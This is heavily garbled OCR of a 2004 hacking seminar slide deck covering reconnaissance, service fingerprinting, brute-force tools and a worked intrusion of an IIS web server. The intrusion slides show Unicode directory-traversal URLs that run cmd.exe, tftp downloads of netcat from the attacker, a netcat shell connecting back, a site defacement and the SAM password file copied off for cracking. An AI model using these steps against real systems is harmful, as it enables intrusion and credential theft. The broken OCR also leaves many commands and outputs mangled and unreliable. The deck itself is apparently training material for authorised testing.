TE{RHp:‘fHDFn?HH:dﬂEEi&EKmE++HFI&g:q&Eﬂ]p3=mHHHH

Td(Resp=YEDF =hl=0%ACK=0%F a0 =RX0ps=)

TE(Foe 5= KDF o pis (A C S 4 HiF lag s = ARKOps =)
TEFesp=YRDF =M= 0% CE=OMF [2gs=PX0ps =)
TF(Resp=""%DF =M¥W=0%A CK=5++%F lags =ARXOps=)

FLUDF =NT 05 = 03IFLEN = 38XRIPTL = | SE3RID=EsRIPCK =EXLICK=EXLILEN=| 34%DAT=F)
IClass(TTL=128)

THDF =MRC=RDF EmMRT 0% =00)

Matched O Windows 2000

Completéd scan of target address 62.190.249.2 in 1 seconds
&ll targess scanned, shutting down
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probe

Open source utility for OS fingerprinting
3ased on ICMP responses

RUNS on most Unix based operating systems
ts FREE!

xprobe2 —p tcp:OPENPORT:0open —v 127.0.0.1
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S Identification — Hints from Experts

f OS detection by nmap, xprobe etc. fails because a Firewall,
2roxy, LKM etc. is messing this up, the game is not lost:

m HTTP Banners usually tell the OS

B FTP Banners sometimes tell the OS

mFTP SYSTEM TYPE command shows: UNIX or WIN
®m FTP downloads: get /bin/ls and evaluate the binary
B SMTP Banners sometimes tell the OS

B SMTP Banners in the eMail sometimes tell the OS
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anner Grabbing

he process of examining banner strings returned by services
bound to open TCP ports

—nables identification of service applications including
software version.

\ot effective for non-character based services (e.g. SMB,
HTTPS)

Some service applications will not send banner information
until prompted (e.g. HTTP)

Jseful for identification of service applications on non-
standard ports
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onnecting to ports

lelnet or-netcat is the best way to connect to ports. Many services
may be accessed directly.

‘X root@wheelbarrow: /root - |0O] x|

[rootlwheslbarrow Arootl#

[rootldwheslbarrow ASroot ]#

[rootlwheslbarrow Arootl#

[rootlwheslbarrow Arootl#

[rootldwheelbarrow Afrootl# telnet 192,168,15,170 110
Trying 192,168,15,170, ..

Conrected to 192,163,15,170,

Ezcape character iz 717,

+0k POP3 [197,168,15,170]1 w2000, /Orh =erver ready
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anner Grabbing —Manual Testing

Jse netcat or telnet to connect to the port :

C:\nc 192.168.0.1 25
220 Sendmail/8.8_.8 ESMTP

Looks like Sendmail 8.8.8 mail server - easy
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dmmon ports

=101 x|

wt@wheelbarrow: fetc

ootBwheslbarrow Aetcl# more Aetocdservices
fetodzervices:
$Id; services.v 1,11 2000/03/03 21:46:53 nalin Exp %

Metwork services, Internet style

Mote that it iz presently the policy of IANA to assign a single well-known
port number for both TCP and UDP: hence. most entries here have two entries
even if the protocol doesn’t support UDP operations,
lpdated from RFC 1700, **Aszzigned Mumbers”” (October 19943,
are included. only the more common ones,

Mot all ports

Each line describes one zervice, and iz of the form:

zervice-name port/protocol [aliazes ,,.]1  [# comment]

PILL 1/tcp # TCP port zervice multiplexer
ha Tltep

ha Fdudp

zcard 9/top zink rull

zcard 9 udp zink null

=ztat 11/ tep LUsers

yt ime 13/tocp

yt ime 13/udp

tstat 15/ tcp

td 17/ tep quote

P 18/tcp # mezzage send protocol

P 18 udp # mezzage send protocol
argen 19/ tcp ttytst source

argen 19/udp ttytst =source

p-data 20 top

P 21/ tep

p 21 udp f=pd

h 22/ ep # 55H Remote Login Protocol
h 224udp # 55H Remote Login Protocol
1net 23 top

24 - private

Hore——192 3]

% root@wheelbarrow: froot

[rootiédwheslbarrow Arootl# nmap —=T 192,168,16,140
Starting rmap ¥, 2,53 by fyodorfinsecure,orq { wuw, insecure,orasmmaps 2
YPRINDPROC_DOMAIM: Domain not bound
Interesting ports on  ©192,168,15,1400¢
tThe 1496 portz scanned but not shown below are in state: closedy
Fort State Service

Titop open echo

9 top apen discard

13 top open daytime

17 top apen qotd

19/tcp OpEn chargen

21/ top apen ftp

23 top OpEn telnet

2hdtop apen amtp

42/ top OpEn nameserver
h3dftop apen domain

anstop OpEn http

38/ top apen kerberos-zec
1354t cp open loc—srv

1397tcp apen nethioz—s=n
2894 cp open ldap

443/ top apen https

445/t cp open microzoft-ds
464/ top open kpazzwds
h9E/top open http-rpc-epmap
B36/top open ldapz=l

1026/tcp  open rterm

1108/tcp  open kpop

3389 tcp  open mzrdp

L300 cp  open W

DA00cp  open WG

BEEEAtcp  open irc—gery

TP tcp  open afs3-boz

Hmap run completed —— 1 IP address {1 host up} scanned in 10 zeconds
[rootEuheslbarrow Arootl# ||



the hacker's choics

anners

Some services may be better identified by banners:
elnet on routers (2001, 4001, 6001)
Neb daemons for applications

m Compag Insight Manager
B Many systems include web configuration interfaces
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anners

‘X root@wheelbarrow: /root ' - |D|ﬂ

[rootiwheelbarrow Aroot ]#

[rootiwheelbarrow Aroot ]#

[rootiwheelbarrow Aroot ]#

[rootiwheelbarrow Aroot ]#

[rootiwheelbarrow Aroot ]#

[rootiwheelbarrow frootl# telnet 192,168,15,170 22
Trying 192,168,15,170,.,

Connected to 192,163,15,170,

Ezcape character iz ™17,

55H-1,99-0penS5H_2 , 9p2

¥ root@wheelbarrow: /root ;lglil

[Footiwheelbarrow Aroot]#

[Footiwheelbarrow Aroot]#

[Footiwheelbarrow Aroot]#

[rootiwheslbarrow Arootl#

[Footiwheelbarrow Aroot]#

[Foot@Buwheelbarrow Arootl# telnet 192,1E68,10,140 26
Trying 192,168,15,140, ..

Connected tao 192,168,15,140,

Ezcape character iz "™17, i
220 twokzerver hbo,bute, com Microsoft ESMTP MAIL Serwice, Yersion: 5,0,2172.1 ready at Sat, 2 Feb 2002 23013100 +0000 E
r

OO TTTC T TUCRCT O CITurce T TV VvV V. TITC . UTY magc T I5
:‘
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anners — Automation

Nell, its better to automate this ©

Jse amap:

amap —B —b IP PORT1 PORT2 PORT3
or

amap —B —b IP 1-65535

Or use amap with nmap outputfiles (-oM):
amap —B —I nmap.out —b
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Ingerprinting

Some services cannot be clearly identified just by connecting
hem:

B Netbus on NT uses the same port as an RPC service on Solaris

B Some database connections do not provide automatic response

W Fingerprinting a service may identify what it is, even if it has moved
ports
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orvice | dentification — nmap

1map has got a very good service identification mechanism
since 3.30

How to use nmap as a SYN scanner with service identification
It's the —sV option):
1map —sSV IP
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orvice | dentification — amap

Amap is hot as good as nmap, however it Is a good addition,
AsS it does its tests differently.

How to use amap:

amap IP PORT1 PORT2 PORT3
or

amap IP 1-65535

Or let amap use nmap outputfiles (-oM):
amap —i nmap.out
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orvice | dentification — Mingsweep

Viingsweep-is not as good as nmap or amap, however it has a
SUI

nmap and amap run both under Windows with CYGWIN)
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Attack! Attack!

Intruding network based systems
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ttack!

Target Selection

B Targets are selected on the analysis of the data collected by the
passive and active information gathering phase.
B Most interesting systems are exposed or somehow interesting servers:
¢ Web and Mail server
¢ Active network components, like Router or Firewalls
¢ Hostnames like ,quake*, ,test”, ,accounting® or just ,,db"
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ttack!

Attacks can be classified in:

m User mistakes, like weak passwords or open terminals
B Software bugs, like buffer overflows, etc.

B Faulty configurations

B Abuse of any kind of trust relationships

m Denial of Service attacks

© 2004 The Hacker‘'s Choice — http://www.thc.org — Page 122 Nl



the hacker's choics

ttack!

he , HotSeven* Security flaws, regarding all operating
systems are:

mDefault installation of operating system and application
mMissing or weak passwords

mFaulty backups

mBig amount of provided services

mNo IP spoofing protection

m|nadequate system logging

m|nsecure cgi-scipts
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ttack!

A list regarding the most common security flaws was created by
SANS (System Adminstration Network Security).

A 'more detailed and frequent updated list can be found at:
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ttack!

Resources on the Internet:
m http://online.securityfocus.com/bid
| http://www.packetstormsecurity.org/

B Bugtrag Mailing List (subscription at
http://www.securityfocus.com/archive/1)

m |f available, also the source code can reviewed for security flaws

© 2004 The Hacker‘'s Choice — http://www.thc.org — Page 125 Nl



the hacker’s choice
ulnerability | dentification & Research

lhis is the process of mapping identified security attributes of a
system or application to potential vulnerabilities

Several methods to map vulnerabilities:

m  Manually map identified systems against publicly available
database such as , and
vendor security alerts

B Use public exploit code posted to various security mailing lists,
hacker websites or write your own code

B Use automated vulnerability scanning tools such as Nessus, ISS or
whisker
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ulnerability | dentification & Research

—Xperts:
m Code a fuzzer for the application
m Use of the brain
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VuI nerability research

= E# o % root@wheelbarrow: -usr-src-whlsker _|I:I|ﬂ
e b
;;;ﬁél rrm [rootRuheelbarrow whiskerl¥# | Swhisker,pl -h 192,168,15,1E0
T |- whisker /4 wl,4,04550 4 rain forest puppy ¢ www,wiretrip,net —-
CSecunitl | poses 192,166,145, 160
= Servert Microzoft-115/4.0

L]

200 0K: GET /iisadmpwdsaexpdb, htr

200 0k CIDC errory: GET Ascriptedzamplesddetails,idc
200 0K ¢IDC errori: GET Sscripts/samples/ctouesth,idc
200 0k HEAD AscriptsStoolsdnewdsn,exe

200 0OK: HEAD Amsadc/mzadcs,.dll

200 Ok: GET fsoriptasdiizadminsbdir.htr

200 0Ok: HEAD /_whi_inf, html

200 Ok: HEAD /_wti_binsshtml,dll

200 0k HEAD /_wti_bindshtml,exe

Bargirag | M

J by wendar

B+ + F + + + +F + +

Ll.l III ]
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Hacking Examples

Don't try this at home, kidz ...
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xploration Air

:Il-ul. sird 10 T ejiins sl AR ks - Fersssll ndrrset §aplees .|!j :|l||
R e ke Dok e o | = |
bk - o= -GN 5] A Dwed Gifectn ek (3 S Gbhiw - 5
dckhmem L s 1100 1.1, Skdet il i R e
NEWS
+ E& BT g of e Yeal
o b B o maa .
Ol it bt T H bl Wetosma In :
o [ Plig bl 1o Pugsns Expl n
CACH A @ ETRSE Fedeae 4 'rl i
ahoe o e mone ;o - F
st
Crar Cinline Walcoma to the Exploration Alr's Web site. Whether you're a seasoned travster or mew 1o our =
Berviees Freguent Flyar Cliah, you'll enjoy our aeoure, quids ordine services. We're adcited b introducs
X you to the Frequent Fher Club, our first Web-hesed senvcs
Fropannt Flyer M hre: !
S Gllale fews Flashl Users of the Exploration & Intranat can now access thelr corporate benefits right
Bsanis off this page! Just click on the Benefits putton on the left to find out morel
5
Rite Wiewr Plaass mdd a bookmark to your browser and ched: back oftan to esplore the new services we'll
i b adding owver the UBoometg manths
v Gharnels
Bitp Al
il
Prodec =
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Ort scan

root@localhost:~
rootidlocalhost rootl# nmap —=T —-p 1-60G35 -0 -PT 10,0.1.9 | tee exair | more

=10f x|

tarting rmap Y, 2.54BETAZZ ¢ www,inzecure,orgdmmaps >
nteresting ports on dhcpd,vanstrien,net $10,0,1,93:
The 5527 ports scanned but not shown below are in state: closed?
art State Service

1/tcp OpErn ftp

0/ top OpEn http

hitop OpEn lac—=trw

2945t ep OpEn netbios—=ssn

435tcp apEn https

0235tcp open unknowen

03l4tcp  open iad?

ERbAtocp  open unknowmn

emote operating system guess: Windows MT4 / Win95 & Win93

map run completed —— 1 IP addres=s {1 host upd scanned in 13 szeconds
root@localhost rootlé |

.
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/eb server i1dentification

% root@localhost:~

Ezcape character iz "7™1°7,
GET & HTTR/1,.0

HTTR 1.1 200 0Ok

Server: Microzoft-I1I15/4.0

Content-Location: http:dA10,0,1,9/Tefault  htm
Date: Sun, 03 Feb 2002 08:43:21 GHT
Content-Type: text html

Accept—Ranges: bytes

Lazt-Modified; Sat, 01 Mow 1937 13:18:52 GHT
ETag: "0OcB5fbZcBebbol:aln”

Content-Length: 594

<HTHL

<HEARL>

<META HTTP-EQUIY="REFRESH" COMTEWMT="1:URL=default.asp">

<META WAME="DESCRIFTION" COMTEMT="Exploration Air"s Redirect Page">
<META WAME="GEMERATOR" COMTENT="Microzoft Wisual Interlew 1,0":
<META HTTP-EQUIY="Content-Type" COMTENT="text/html: charset=i=o3859-1">
LTITLEXExploration Air's Redirect Page</TITLE:

< HEAL’

<BODY>

<FOWT FACE="YERDAWA, ARIAL. HELVETICA" SIZE=3>

<1-- The Exploration Air Home Page iz located at-->

{1-- default,azp, Fleaze make a note of it for future reference,-->

</FONT?

Connection closed by foreign host,
[root@localbost rootl# ||

<FOWNT FACE="VERDANA, ARIAL, HELYETICA" SIZE="1"»<A HREF="legal,ktm"»&#169:1997 Microszoft Corporation, All rights re

=10l x|

© 2004 The Hacker's Choice — http://www.thc.org — Page 132

ol
.



the hacker's choics

T8 5oyt orie barves ks archives w O SECUIAEACIES DOME vilins apiinh Mrasol 115 0 FAS Exbened Usioade (orectary | - icrsall Insmnet Epleres
B £ sen Fpewtes ook pe D EOE Wew Fovoites Took b
ek o= Q) f] O] Phremn ek v = - D[ Y Pewch (Greotm Gred F| L I - HW
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i by wendor |
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e
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¥ Mmoo 1S A0I15

2001106 Mcroaof! 1S Enec
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2000-50-47- Bdicroaoh 15 and P

P P arr

Coru b bangvidng e ol oo ol fd= 13305

Firewall
Intelligence

T

insideout

M1 Sl

o0

| e

MScrosal 1S and PWS Extended Unicode Directory Traversal Vulserability
¥ iric W cinoussion WETCTIRE soktion W credt W hep 8
i argetisCApta %o 1% £ ipathMie et

=]

i Meargeiracipias Yo 1% o Swan nieystern 320w e Trorokr
hitpttargetscpts!,. Soh e dwinnb'systemiZaemd. exeic+dir
P A Ee Ay SeOeat franntrgyeiem 3200 exa T Hobr
hitpedtargetiscnpiss,. Yol feanntisysbern e md mxe i +dir
P A EE G e, W TR e, Sednnlierysiem A200 e 2= 7o +odr
hitprttargetisciptss. e 1% . fanntisystern 3 Mo md e e +dr
P VA ETE L A M TR ANl Esbern A2 e e TIe ol

i e ey He 0%l el e 0%l Swinnntsyeie maz
crnd eec+dr

Lo Chien =rpachieni@securzcong> descibes the folowang exploks using TFTP or Sambain his post b
Buigirag

By usineg i e that comes with MT and wAn2k by connecting amd
OoRsTIICEEno 3 troian inom 2 o daemon you can ovoess bese

Eitn e

NEWL

HTHML

Nowsletters

B The Sacurig

sl el b iy
Polgelt. ik

W Securigytooss
[T, T

W MScrass®
Sacurisy Rews:

LETE ]

B Linus Sacirig
i s i)

Ermail Addym

B bt
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esting an exploit

'!!'rrrml I Application - MErosol® Inbermset Faploner .|l|£|

e LM Bew Fyertes ook e | |

digiesr ﬂli.l..::uluu|..l|u.q.q-.u..!;.m..un--i._luu::--m;k--l--:--'_'-\.+||'||.|+-+:||.l.|.lu.a.';-|--.-|a|h ol :I ,;;'EI:- Linkg-
1 1

CGI Error

_ [ |
. TFTPD32 by Ph. Jounin

=10l x|

Browsze |
=] ShowDir |

The specihed O Gl appbeaton mobehsred by not rehemng & complets et o Base Directony IE;'\dgwnluad'\tftp

Server interfaces |‘| 0.0.0.203

Connection received fram 10.0.1.9 an port 1184
Read request far file <nc.exer. Mode actet

<nc.exesr: zent 118 blke, 53392 bytes in 0 2. 0 blk rezent

1

Current Actian

IListening an port B9

| Abot I Settings Help |
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mdasp.asp

-ahll'n 1 52, UGS, L srriphs ol asg. sap - PMarosalt lrl:l_-l'ngl:!l:;ﬁ:'l:r 5 _-J.ﬂﬁl
B BN Wesn Fraobes ook Help -
tack = =« G ] A DiSesch [GlFrsortes Eede @ 4 SR - H] ™
eigemss [i] stip (7192, 1060, LS. DEDY scripheioredasp s =] pree | Ls
=]
=2 Clfsp asp +H-=
|l.‘1.:|-| 192066 15.034 GET macmes chirestpub’scrips pi‘-ll'll
VAVHNTASERVER, INGE_VENTESERVER
== LEliEzp.mEp —->
=l
| Dere o Interret I,
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arting netcat on target system

R Rt 1 DG L st crndesp s - FicrsoSt Inbermet Enslarer =0 x|
fie fdt  Yew Fpertes ook pen | = |
dapnd ~ == - ¥ A 4 Ssesch [ sjfewvoeses Feeds P - - =
llﬂj‘l&'ﬂi-lt‘llllr.ll!l-' [ T e T s e ] j ;:l'flil Lirikes:
=]
-\:-|—|-l:—|ll!|-\:|_ ap o
|- -0 -8 cr gee - 53 Fll-'ﬂl
LN TESERVT R, [USE_VENTISERVES
e ooy . aAp ==
- - ;I
HE | Done: Wl Irderme
II
n ety
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arting netcat locally, rdisk remotely

DWtrrr m ULl Apebatien  Mecrasol® it emel Explerer § =|5] =|
Fle [t Wea  Fgewber Took Ml “
ek - G A A Bsewch [ElFserkes @veds A DY LB w B

Subnet Mask . . . . = 255_.255_.255.128
Default Gateway . . - = 192.168.15.132

E:*download~netcat>nc —p 53 192.168.15.168 53
Microsoft(R>» Windows NI<{TMD
CC)» Copyright 1785-19?6 Microsoft Corp.

C:~InetPubsscripts rexit
E:~downloadsnetcat>nc —p 53 192.168.15.168 53

Microsoft<{R> Windows NT{(TM>
¢G> Copyright 1785-1996 Microsoft Corp.

C:sInetPubsscriptsrexi
C:~InetPubsscripts>™C
E:~download-netcat?>

E:~downloadsnetcat>nc —p 53 1?72_.168_.15.16H8 53
Microsoft(R>» Windows NI<{TMD
CC) Copyright 1785-19?6 Microsoft Corp.

C:wInetPubsscripts drdisk =
rdizk =

C:sInetPubsscripts?

& | Dana o Iréeiret
n

R

WL e

&=
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opy over hacker page

[*]Command Prompt - nc -p 53 192.168.15.160 53

12:38p PR
Al:18p 188 prefs._txt
Al:27p 13,284 ReadMe.txt
12:38p Search
12:38p SiteAdmin
A1:18p 13,472 SitelUiew.asp
12:38p Source
Al:18p 2,582 zubtemplate.asp
B1:18p 1.723 UndCons.asp
31 File<s> 23.622 hytes
1,672,985, 888 hytes free

G InetPubswuwroot>tftp 192 _168.15.134 GET default.asp
tftp 192.168.15.134 GET defaunlt.aszp
Transfer succeszful: 53 hytes in 1 second. 53 hytesss

G~ InetPubswuwuroot>teyp defanlt.asp

teyp default.asp

The name specified iz not recognized as an

internal or external command. operable program or batch file.

Gz InetPubswuwuroot>type defanlt_aszp

type default.asp

{html}{hudy}{hi}h4{k3d by the HSBC crewd hody’><{ html:
C:sInetPub~uuwwroot >
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lew site

T b L 16 S 180 delaulasp - Miorasol Inlernel Explorer =1 =|
Be G Yew Fpoies ok bep | & |
e - DD ] Dsewch [iirrstre Prase 3| (- D - W
Puiess 4] hip: 132 100 15. | 0ideFmlt = e ks
[ |
h4(k3d by the HSBC crew
El
] Cone P Local e aret.

II
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opy off sam.

" TFTPD32 by Ph. Jounin

Baze Directony IE:'dewnln:uad'xtftp Browse |
Server interfaces |1EIE_1 E3.15.134 j S o i |

Connection received from 192.168.15.211 on part 1530 ;l
Read request far file <crmdazp azpsr. Mode octet

<crmdasp.azpr: zent & blks, 1561 bytes in 0 2 0 blk resent
Connection received from 192.168.15.211 on port 1581

wirite request far file <zame. Mode octet
Peer zent unexpected mezsage b -
4| | 3
Current Action IListening on port 69
| Aot I Settings | Help |

=101 %]
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nd crack...
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L ogin Brute Force Attacks

"Joshua"
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rute force attacks

Vlost common services attacked:
B Telnet
FTP
“R” commands
Secure Shell
SNMP community names
Post Office Protocol (POP)
HyperText Transport Protocol (HTTP/HTTPS)
SMB
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ommon Tools used

B Brutus

m Thc-Hydra
m Admsnmp
B Admsmb
H TeeNet

m Pwscan.pl
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emote password guessing

Attempting to connect to an enumerated share such as
‘ADMINS$ and C$) and trying username/password combinations
intil one works

A “null session” can be established with the target to obtain
valid account names

Jse an automated password guessing tool to brute force the
selected shares.
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rute force attacks under Windows

Some .common services prone to brute-force:
m Web

m Netbios

mFTP

B MS SQL Server (,sa‘ account)
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X Brutus - AET2 - www_hoobie_net/brutus - [January 2000)

File Toolz Help

Target ﬁ [ | Command Prompt - nat -u userlist.txt -p words. =10

Connectior
Fort |&C Attempting to connect with name: =
Unable to connect
~HTTP [Ba: Attempting to connect with name: UMNT45ERUER
COMMECTED with name: UMHT45ERUER
b ethod Attempting to connect with protocol: MICROSOFT WETWORKS 1.63
Server time iz Sun Febh A3 BAA:38:58 2002
Timezone iz UTC+@.8
—Authentica Remote server wants us to encrypt. telling it not to
¥ Uszell Attempting to connect with name: UMNT43ERUER
COMMECTED with name: UMHT45ERUER
UserlD Attempting to establish session

llaz not ahle to establizh session with no paszzuword
fittempting to connect with Username: “ADMINISTRATOR' Password:

fEﬂTijﬂ Attempting to connect with Username: "ADMINISTRATOR' Password: ‘aaa’
Target Attempting to connect with Username: "ADMINISTRATOR' Password: ‘abc’
Attempting to connect with Username: "ADMINISTRATOR' Password: “academia’

Attempting to connect with Username: "ADMINISTRATOR' Password: ‘academic’

Irikializing. .
Target 172161051 verfied

Brute force will generate 11881376 Pazswords.

M asimum number of authentication attempts will be 11881376
‘Engaging target 172.16.105.1 with HTTF [B: ]

A

N 9% | imeont Beect AuthiSeq (st Suick Kl [ Ak
|11EB?E|E| LI:admin F:afuzg| A01 Attemptz per second Eztimated 5:56:41 remaining o

_
IR T

Re
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m MetBrute Scanner by Raw Logic Software o (]

Cptions  Help
MetBrte | PortScan | webBrute

e Results : —Part Setting
Fie Help Tirme Out: TCP Paort
4 Tus : - ~ 200 [129  nethios-ssn
Tt [ LEGION v2.
 Sranlil — - - )
—== st [T PSS
IP R :
0 shares found on () remate hasts: EncEndP R T | b I1
10 1] 1
T = N o O
Scan | Cancel |
—Rezult Option
o ANy [v MetBIOS Mames
= DISK [v Shaow IPCz
 PRINT
—Single
= Computer/Hast Mame il
M ap [ave | Save Tedt |
Cloar |  Feport View Scan | (=} GetlP |

|1III.III.1.9 getting resources, .. lﬁ.DMINISTH.ﬁ.TDH |L|K'I 0014823

r
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rute force attacks under Unix

Some .common services prone to brute-force:

| telnet

B SSH (yes, even this if Password authentication is on)
m Web

mFETP

B R-commands
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sing THC-Hydra

For all UNIXes and Win32 with Cygwin, ARM Handhelds with Linux,
Palm Organizer

Supports over 25 protocol to brute force:

B TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, LDAP, SMB, SMBNT, MS
SQL, MYSQL, REXEC, SOCKSS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SSH2, SNMP,
CVS, Cisco AAA.

Usage:
hydra —| guest —p guest2000 target.com telnet
hydra —L logins.txt —P passwords.txt target.com vnc
Its free >>
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btaining usernames

The /etc/passwd file

Mail: expn, vrfy

Mail: “undeliverable mail”

Mail: account names

login error messages (e.g. cvs)
FTP, WWW bugs: ~username
Sniffing clear text protocols
Social engineering

Pattern recognition (Quessing)
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Miscellaneous Hints

Come here kitty, kitty ...
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Unix and Standard services

Hacking in wonderland
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rofilee SNMP

2ort: 161 UDP
SNMP has two default passwords: public, private
lools such as snmpwalk good for enumerating entries
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rofile: TFTP

Port: 69 UDP

Typically used to boot diskless workstations or network
Jevices such as routers

NO username or password
500d for sending around files from hacked systems
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rofile: FTP

ort: 21

Allows upload and download of files from a remote system
Viany ftp server allow anonymous access

B [nteresting files? Warez Archive?

m OS detection

Viay be vulnerable to buffer overflow

_an also be used for bounce attacks

)0ssible User enumeration
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rofile: Sendmail

20rt: 25
Viail transfer agent used on many Unix systems

Can be used to identify accounts via the VRFY and EXPN
commands

Some version susceptible to denial of service and buffer
yverflows

_ong list of vulnerabilities
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rofile: RPC

Remote Procedure Call

Allow a program on one computer to execute code on a remote
System
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rofile: Web

2ort: 80

Apache is most common

\Not as many attacks as IIS

Always check URLs for embedded commands
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/eb based hacking

A cgi scanner (whisker) will reveal the presence of cgis with
<nown vulnerabilities

3ruteforcing the directory structure may reveal interesting
les

Mlanual parameter testing may reveal programming errors
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The Attackers Toolkits

Reload ...
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he Windows hacker toolkit

Cygwin — Unix like environment for Windows (provides many UNIX
command line tools including shell & compiler)

WIinVNC - remote control software, useful for compromised machines
NMAP (Win32 port) — available from insecure.org
pwdump3
sid2user / user2sid
a lot of tools from the Resource Kit(s) are more than helpful
m rpcdump
m nltest
m .
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he Windows hacker toolkit

m Brutus — Brute force utility Finger — Backdoor tool
m Mingsweeper — TCP/IP scanning tool  NetBios Auditing Tool (NAT)
m Superscan — TCP/IP scanning tool Netcat - Enumeration tool
m MPTraceroute — Like Hping2 Legion — Enumeration tool
m SamSpade — Footprinting tool s ee ) |

: Getadmin — Privilege escalation tool
m NessusWX — Nessus interface

PushVNC

m ISS Scanner / Cy.ber Cop enum — enumeration tool
O Ngtstumbler — Wireless LAN Scanner  psiools — for various uses
B WinDump —tcpdump for Windows nc.exe — win32 port of the netcat util
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Questions?

Thank you!
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Course Closure

Links, Tools, Pointers, Web sites, Mailing
lists, points of contact, ...
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eeping Track with Hacking & Security

Subscribe to (all at securityfocus.com)
® bugtraq

vuln-dev

pentest

sectools

security-audit

/isit regularly:

|

|

Join one of the following conferences yearly:

m Usenix Security Symposium

m Blackhat Briefing

m Defcon

m (irregular hacking/security summer camps in europe)
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terature and Links

_iterature:

m Simson Garfinkel: Practical Unix and Internet Security
m Chapman & Zwicky: Building Internet Firewalls
m Cheswick & Bellovin: Firewalls and Internet Security
m <several>: Hacking Exposed

m <several>. Hacking W2K Exposed

B Anonymous: Maximum Security

m Stevens: TCP/IP lllustrated Vol.1

m Stevens: UNIX Network Programming

m Schneier: Applied Cryptography

m Schneier: Secrets and Lies

B Ross Andersen: Security Engineering
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terature and Links

Security:
http://www.securityfocus.com
http://www.alw.nih.gov/Security
http://sites.inka.de/sites/lina/freefire-|
http://www.cert.org

Hacking:
http://packetstormsecurity.org
http://www.thc.org
http://www.phenoelit.de
http://www.phrack.com

http'//\/\/\/\/\/\/ packptfacmry net . ca

=
lllll
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00ls
B Nessus http://www.nessus.org
B amap http://www.thc.org
B nmap http://www.insecure.org/nmap
B netcat http://www.atstake.com
m stunnel http://www.stunnel.org
m hping2 http://hping2.sourceforge.net
B icmpush http://hispack.ccc.de
m hydra http://www.thc.org
m parasite http://www.thc.org
B anti-sniff http://www.securitysoftwaretech.com/antisniff/
m thc-scan http://www.thc.org
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00ls

B cheops

B coroners toolkit
H nids

m |ibnet

m ethereal

m john

m backorifice

B netbus

B Dsniff

H snort

http://cheops-ng.sourceforge.net/
http://wwwporcupine.org/forensics
http://www.packetfactory.net/Projects/Libnids
http://www.packetfactory.net/Projects/Libnet
http://www.etheral.com
http://www.openwall.com
http://sourceforge.net/projects/bo2k/
http://surf.to/netbuster
http://www.monkey.org/~dugsong/dsniff/
http://www.snort.org
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_REMINDER!

Hacking - unauthorized intrusion and unauthorized
reading of data - is illegal!
The goal of this seminar is NOT to make a
hacker/criminal out of you!
Use the learned knowledge only for testing for the
existence of the security vulnerabilities — with full
consent of the system owner and your superior!
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END OF COURSE

Thank youl!
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